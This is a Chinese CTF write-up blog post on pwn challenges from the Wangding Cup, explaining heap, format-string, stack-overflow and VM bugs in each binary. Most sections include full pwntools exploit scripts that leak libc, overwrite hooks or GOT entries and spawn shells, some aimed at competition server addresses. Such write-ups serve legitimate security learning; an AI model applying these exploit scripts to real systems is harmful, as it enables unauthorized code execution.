网鼎杯pwn部分wp

网鼎杯pwn部分wp

水了一波网鼎,菜死~~~~

guess

  • 题目

    • 很直接的一个题目,运行后提示缺少flag文件,目测flag在内存中

    • 创建flag文件后,运行直接让猜flag,输入超长串后直接stack smashing,而且没有结束

      guess.png

    • ida查看程序,发现程序有四次fork机会

      guess1.png

  • 解题思路

    • canary的玩法公开的有
      • 循环fork的程序,直接单字节爆破canary
      • 通过覆盖栈上的环境变量,leak 内存数据!!!!
      • 覆盖线程的canary
    • 一开始一直在想办法绕过canary做rop,以为又是什么新姿势
    • 吃饭的时候突然想到四次leak足够我们拿到flag,got->libc->stack->flag
  • exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
# coding=utf-8
from pwn import *
context.terminal = ['tmux','sp','-h','-l','105']
context.log_level = 'debug'
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
rn = lambda x:p.recvn(x)
def hint():
print 'pidof is %s ' % pidof(p)
raw_input('waiting for debug')
def makep(ip='',port=0,binary=''):
global p
if ip and port:
p = remote(ip,port)
else:
p = process(binary)

makep(binary='./guess')
libc = ELF('./libc-2.23.so')
ru('Please type your guessing flag\n')
sl(p64(0x6020a0)*0x100)
ru('*** stack smashing detected ***: ')
libc.address = u64(rn(6).ljust(0x8,'\x00'))-libc.symbols['_IO_2_1_stdout_']
environ = libc.symbols['environ']
log.success('environ:'+hex(environ))
ru('Please type your guessing flag\n')
sl(p64(environ)*0x100)
ru('*** stack smashing detected ***: ')
stack = u64(rn(6).ljust(0x8,'\x00'))
log.success('stack:'+hex(stack))
ru('Please type your guessing flag\n')
sl(p64(stack-0x168)*0x100)
ru('*** stack smashing detected ***: ')
p.interactive()

blind

  • 题目

    • 简单明了的堆题 ,提供new change release三个选项

    • 没开pie。。。,有一个调用system(/bin/sh)函数

  • 漏洞位置

    • 在release选项中存在uaf,只能release 3次

      blind.png

    • 限制条件,堆申请大小固定为0x68,最多6个

      blind1.png

  • 利用思路

    • 通过uaf拿到bss段地址
    • 修改存放在bss上的file指针
  • exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    from pwn import *
    local = 1
    context.log_level = 'debug'
    if local:
    p = process('./blind')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    else:
    p = remote('106.75.20.44' , 9999)#nc 106.75.20.44 9999
    libc = ELF('./libc.so.6')

    def new(index , content):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)
    p.recvuntil('Done!')

    def change(index , content):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)
    p.recvuntil('Done!')

    def release(index):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Done!')

    def debug():
    print pidof(p)[0]
    raw_input()

    back_door = 0x4008E3
    fake_heap = 0x601fe5
    new(0 , 'A'*0x8 ) #00
    new(1 , p64(0x4008e3)*12 ) #01
    new(2 , 'C'*0x8 ) #02
    release(0)
    release(2)
    change(2, p64(0x601ff5 ))
    new(3 , '\x01'*0x8 ) #00
    debug()
    new(4 , '\x00'*0x13+p64(0x6020f0)+p64(0x601f90)) #00

    p.interactive()

easycoin

  • 题目

    • 一道很类似于记账系统的提,RELRO 终于不是full了

    • 首先需要注册用户,才能登入内部选单

    • 内部选单提供了转账 ,查询转账信息,查询用户信息,删除用户等功能

      easycoin.png

  • 漏洞位置

    • 看了好久都没发现,在把玩时,发现可以给自己转账,删除账户时报double free

    • 全局变量有一个用户链表,用户链表的结构体中,有一条单链表记录转账信息

      easycoin1.png

    • 在删除用户时,首先清除转账信息链表,也会同时摘除其他用户维护的链表

    • 而在删除函数中临时指针没有检测用户自身链表是否改变可以导致double free

      easycoin2.png

  • 利用思路

    • 利用double free改变fastbin fd 拿到bss指针
    • 修改bss段上的列表达到任意写
  • exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    #!/usr/bin/env python3
    # coding=utf-8
    from pwn import *
    context.terminal = ['tmux','sp','-h','-l','105']
    context.log_level = 'debug'
    r = lambda x:p.recv(x)
    rl = lambda:p.recvline
    ru = lambda x:p.recvuntil(x)
    rud = lambda x:p.recvuntil(x,drop=True)
    s = lambda x:p.send(x)
    sl = lambda x:p.sendline(x)
    sla = lambda x,y:p.sendlineafter(x,y)
    rn = lambda x:p.recvn(x)
    sa = lambda x,y:p.sendafter(x,y)
    slocal = 1
    def hint():
    print 'pidof is %s ' % pidof(p)
    raw_input('waiting for debug')
    def makep(ip='',port=0,binary=''):
    global p
    if 1:
    p = process(binary)
    else:
    p = remote(ip,port)

    def register(name , passwd):
    sla("> ", '1')
    sla("> ", name)
    sla("> ", passwd)
    sla("> ", passwd)

    def login(name , passwd):
    sla("> ", '2')
    sla("> ", name)
    sla("> ", name)

    def leak(fmt):
    sa("> ", fmt)
    ru("Command: ");
    data = rn(len('0x7fd700e692c0'))
    return data

    def send_coin(user,many):
    sla("> ", '2')
    sla("> ", user)
    sla("> ", many)

    def change_pass(passwd):
    sla("> ", '4')
    sla("> ", passwd)

    def log_out():
    sla("> ", '6')

    def dele_user(name):
    sla("> ", '5')

    def pwn():
    libc = ELF('./libc-2.23.so')
    makep(binary="./EasyCoin")
    register('AAAA',"AAAA")
    register('BBBB',"BBBB")
    register('CCCC',"CCCC")
    login('CCCC',"CCCC")
    for x in xrange(0x2f):
    send_coin('CCCC','1')
    log_out()
    login('AAAA',"AAAA")
    libc.address = int(leak('%3$p'),16) - 0xf72c0
    heap = int(leak('%9$p')[:len('0x154b000')], 16)
    success("libc is " + hex(libc.address))
    success("heap is " + hex(heap))
    send_coin('BBBB',str(heap+0xf0))
    log_out()
    login('BBBB',"BBBB")
    change_pass('\x00'*0x10+p64(0x30))
    send_coin('BBBB','1000')
    dele_user('BBBB')
    login('CCCC','CCCC')
    send_coin('CCCC','1')
    log_out()
    register(p64(0x6030e0),'oooo')
    payload = '1'*16 + p64(0x603100) + p64(libc.symbols['__malloc_hook'])
    sla("> ", '1')
    sla("> ", '1'*16)
    sa("> ", payload[0:31])
    sa("> ", '1'*16+'\x0a')
    hint()
    login(p64(0x603100),'')
    change_pass(p64(libc.address+0xf02a4 ))
    p.interactive()


    pwn()

babyheap

  • 题目

    • 一如既往的baby题。。。

    • 常规选单题,提供堆申请,释放,内容编辑,内容展示选项

    • 仁慈的没开pie

      babyheap.png

  • 漏洞位置

    • 在删除处存在一处uaf

      babyheap1.png

    • 限制条件

      • 申请堆大小固定为0x20,且最多为10个

        babyheap2.png

      • 只能编辑内容三次

        babyheap3.png

  • 利用思路

    • 1.通过uaf leak 堆地址

    • 2.修改fd指向自身内部伪造的chunk造成overlap

    • 3.利用overlap修该下一个堆块的size,释放得到unsortbin,leak libc地址

    • 4.再次修改unsortbin中的chunk大小为0x20,再次申请堆,得到smallbin

    • 5.修改fd 和 bk,触发unlink,使bss段的列表指针只想自身,达到任意写

    • 6.修改free hook ,getshell

    • tip:能用overlap修改数据的就尽量不用uaf修改

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python3
# coding=utf-8
from pwn import *
context.terminal = ['tmux','sp','-h','-l','105']
context.log_level = 'debug'
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
def hint():
print 'pidof is %s ' % pidof(p)
raw_input('waiting for debug')
def makep(ip='',port=0,binary=''):
global p
p = process(binary)
if ip and port:
p = remote(ip,port)
else:
pass
def create(idx,cont):
sla(":","1")
sla(":",str(idx))
sa(":",cont)
def edit(idx,cont):
sla("Choice:","2")
sla(":",str(idx))
sla(":",cont)
def free(idx):
sla(":","4")
sla(":",str(idx))
def leak(idx):
sla(":","3")
sla(":",str(idx))
data = ru('\n')[:-1]
return data

def pwn():
makep(binary='./babyheap')
create(0,'A'*8+p64(0x31)+'\n')
create(1,'B'*8+p64(0x31)+p64(0)+p64(0x41))
create(2,'C'*8+'\n')
create(3,'D'*8+p64(0x21)*2+p64(0x21))
free(1)
free(0)
data = leak(0)
print data
heap = u64(data.ljust(8,'\x00'))-0x30
edit(0,p64(heap+0x10)+p64(0x31)+p64(0))#0
create(4,'E'*6+'\n')
create(5,'F'*0x10+p64(0x20)+p64(0x90))
#edit(0,'A'*8+p64(0x91))
free(0)
create(6,p64(0)+p64(0x91)+'\n')
free(5)
data = leak(5)
print data
libc = u64(data.ljust(8,'\x00')) - 0x3c4b78
success("libc is " +hex(libc))
free(0)
create(9,'/bin/sh\x00'+p64(0x21)+p64(libc+0x3c4b78)[:7]+'\n')#1
payload = p64(0x602080-0x18) +p64(0x602080-0x10)
create(7,'S'*8+'\n')
hint()
free(0)
create(8,'/bin/sh\x00'+p64(0x21)+payload)
free_hook = libc + 0x3c67a8
system = 0x45390 + libc
free(1)
edit(4,p64(free_hook)*3)
edit(1,p64(system))
free(0)
p.interactive()

pwn()

easyFmt

  • 简单的格式化字符串利用

  • exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
local = 0

if local:
p = process('./pwn')
libc = ELF('/lib32/libc-2.23.so')
else:
p = remote('106.75.126.184' , 58579)#nc 106.75.126.184 58579
libc = ELF('/lib32/libc-2.23.so')


elf = ELF('./pwn')
p.recvuntil('Do you know repeater?\n')
p.sendline('%35$p')
libc.address = int(p.recv().strip('\n') , 16) - libc.symbols['__libc_start_main'] - 247
success('libc_base => ' + hex(libc.address))
system_addr = libc.symbols['system']
success('system_addr => ' + hex(system_addr))
printf_got = elf.got['printf']
success('printf_got => ' + hex(printf_got))
payload = fmtstr_payload(6 , {printf_got : system_addr})
p.sendline(payload)
#sleep(1)
p.sendline('/bin/sh\x00')
p.interactive()

fgo

  • 简单的double free

  • exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    #!/usr/bin/env python3
    # coding=utf-8
    from pwn import *
    context.terminal = ['tmux','sp','-h','-l','105']
    context.log_level = 'debug'
    r = lambda x:p.recv(x)
    rl = lambda:p.recvline
    ru = lambda x:p.recvuntil(x)
    rud = lambda x:p.recvuntil(x,drop=True)
    s = lambda x:p.send(x)
    sl = lambda x:p.sendline(x)
    sla = lambda x,y:p.sendlineafter(x,y)
    rn = lambda x:p.recvn(x)
    def hint():
    print 'pidof is %s ' % pidof(p)
    raw_input('waiting for debug')
    def makep(ip='',port=0,binary=''):
    global p
    def addu(size ,name):
    sla(":",'1')
    sla(":",str(size))
    sla(":",name)
    def delu(idx):
    sla(":",'2')
    sla(":",str(idx))

    global p
    p = process("./pwn")
    addu(8,'A'*7)
    delu(0)
    delu(0)
    addu(100,'A'*100)
    addu(8,p32(0x08048956))
    p.interactive()

hvm

  • 题目

    • 题目给了一个hvm elf文件和一个hvmbin的数据文件
    • 程序实现了一个一个虚拟机,虚拟机的各寄存器为全局量
    • 程序运行时会mmap两块区域,一块为code段,一块为stack
    • 程序功能为输入串,打印hello str
  • 漏洞位置

    • 输入超长串后会seg fault 栈溢出
  • 漏洞利用

    • 一直很怵虚拟机这类的东西
    • 这次的题目设计得比较简单,基本逆向清楚了
    • 存在syscall,构造好寄存器就能getshell
    • 最后的rop构造时遇到了一些困难
    • 比赛时没有时间完成,赛后参考了别人的终于完成
  • exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pwn import *
    context.log_level = 'debug'
    p = process("./hvm")
    payload = 'A'*52 + p32(0xfdfbffff) + '/bin/sh\x00'+ p32(0x000001) + p32(0x3b000000)
    payload += p32(0x0000004) + p32(0)
    payload += p32(0x000000d) +p32(0x000001a)
    payload += p32(0)+p32(0x000000e)
    print pidof(p)
    raw_input()
    p.sendline(payload)
    p.interactive()

soEasy

  • 题目叫soeasy,应该不难,运行起来给了一个奇怪的地址,输出超长字符串直接报错,目测战溢出。

  • gdb 运行,生成pattern,确定偏移为76,发现上面地址为栈地址,没有开nx,直接扔shellcode。

  • 最终脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
    context.log_level ='debug'
    p =remote("106.75.95.47" ,42264)
    #p = process("./pwn")
    p.recvuntil("->")
    stack = int(p.recvuntil('\n')[:-1],16)
    print "stack is " + hex(stack)
    sh = asm(shellcraft.sh())
    sh += (76-len(sh))*'A' + p32(stack)
    p.recvuntil("what do you want to do?")
    p.sendline(sh)
    p.interactive()

pesp

  • 正常选单题目,开正常保护。

  • 在change_item 出存在堆溢出,堆申请大小可控,可以直接做fastbin attack。

  • 发现有个secret函数,很开心。。。。。。。。。。

  • 劫持程序流过去就打印一个假的flag。。。。。。。。

  • 直接写got因为pattern对齐会破坏之后的函数调用,所以利用修改bss的堆指针,达到任意写

  • 最终脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    #!/usr/bin/env python3
    # coding=utf-8
    from pwn import *
    context.terminal = ['tmux','sp','-h','-l','105']
    context.log_level = 'debug'
    r = lambda x:p.recv(x)
    rl = lambda:p.recvline
    ru = lambda x:p.recvuntil(x)
    rud = lambda x:p.recvuntil(x,drop=True)
    s = lambda x:p.send(x)
    sl = lambda x:p.sendline(x)
    sla = lambda x,y:p.sendlineafter(x,y)
    sa = lambda x,y:p.sendafter(x,y)
    rn = lambda x:p.recvn(x)
    def hint():
    print 'pidof is %s ' % pidof(p)
    raw_input('waiting for debug')
    def makep(ip='',port=0,binary=''):
    global p
    if ip and port:
    p = remote(ip,port)
    else:
    p = process(binary)
    pass
    def add(size, name):
    sla(":",'2')
    sla(":",str(size))
    sla(":",name)

    def change(size,idx, name):
    sla(":",'3')
    sla(" index of servant:",str(idx))
    sla(":",str(size))
    sa(":",name)

    def remove(idx):
    sla(":",'4')
    sla(":",str(idx))

    secret = 0x400d49
    libc = ELF('./libc-2.23.so')
    def pwn():
    makep( ip = '106.75.27.104', port = 50514)
    #makep(binary='./pwn')
    add(0x60,'A'*0x20)
    add(0x60,'B'*0x20)
    add(0x60,'/bin/sh\x00')
    remove(1)
    change(0x100,0,'A'*0x60+ p64(0)+ p64(0x71) + p64(0x6020ad) + '\n')
    add(0x60,'A'*20)
    add(0x60,'B'*3+p64(0x100)+p64(0x602018)*1)
    sla(":",'1')
    data = ru("0 : ")
    data = rn(6)
    libc.address = u64(data.ljust(8,'\x00')) - libc.symbols['free']
    system = libc.symbols['system']
    one = libc.address + 0xf1147
    print hex(libc.address)
    change(0x20,0,p64(system)+ p64(libc.symbols['puts']) + '\n')
    remove(2)
    p.interactive()

    pwn()

note

  • 拿到题目名字叫deathnote,一瞬间想起pwnable,尝试输入负数下标志,失败。

  • ida打开,发现没有用atoi,而是自己的函数转换数字。

  • 输入-10 ,存在相同和alivenote相同漏洞,然而八字节变成了四字节

  • 上次写这种shellcode的过程相当痛苦,决定找其他方法做。作者自己实现的堆申请和释放函数。

  • malloc

  • free

  • 发现data区域有指向自己的指针可以任意读写code空间,成功leak libc地址,距离成功一大半。

  • 最后发现,还是需要写shellcode,由于每次只能输入4byte,无法修改高四位指针。卒!!!!

impossible

  • 程序提供四个选项功能
    • 选项一read输入,将输入的数据用puts打印,只能进入一次
    • 选项二输入超长串到bss段,可以选择递归调用,可以进入多次
    • 选项三输入2bytes,printf打印,可以进入多次
    • 选项9011,打开/dev/random 读入8bytes,如果输入与读入字节相同,则拷贝bss段超长串存在栈溢出,不同则直接退出函数,可以多次进入
  • 漏洞利用
    • 偶然尝试%a打印浮点数时会判断出错,可以leak出libc地址
    • 通过多次调用boring,在栈的低位放置canary ,利用选项一puts leak出canary
    • 耗尽fd,read不出数据后,就可以通过secret比较,栈溢出rop
    • 因为close(0),所以通过直接调用system(cmd)的方式执行命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
# coding=utf-8
from pwn import *
context.terminal = ['tmux','sp','-h','-l','105']
context.log_level = 'debug'
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
rn = lambda x:p.recvn(x)
def hint():
print 'pidof is %s ' % pidof(p)
raw_input('waiting for debug')
def makep(ip='',port=0,binary=''):
global p
if ip and port:
p = remote(ip,port)
else:
p = process(binary)

def c1(payload):
sla("option:",'1')
sla("once",payload)
def c2(payload,level):
sla("option:",'2')
sla("bored",payload)
while(level > 1):
sla("y/n",'n')
sla("...",'nnnnnnn')
level = level -1
sla("y/n",'y')

def c3(payload,):
sla("option:",'3')
sla("?",payload)
return ru("G")[:-1]
def c4(payload):
sla("option:",'9011')
sla("code:",payload)

def pwn():
makep(binary="./pwn")
data = c3("%a")
print data
data = '0x' + data[7:19]
libc = int(data,16) - 0x3c56a3
success("libc is " + hex(libc))
hint()
system = libc + 0x45390
c2('AAAA',100)
c1('A'*0xa8)
ru('A'*0xa8+'\n')
canary = '\x00'+rn(7)
canary = u64(canary)
for x in xrange(1024):
c4("AAAAAAA")
success("canary is " + hex(canary))
pop_rdi = 0x0000000400c53
payload = "A"*8 + p64(canary) + p64(0x1) + p64(pop_rdi) + p64(0x6020b0) + p64(system) +"ls\x00"
c2(payload,0)
hint()
c4("\x00"*8)
p.interactive()
pwn()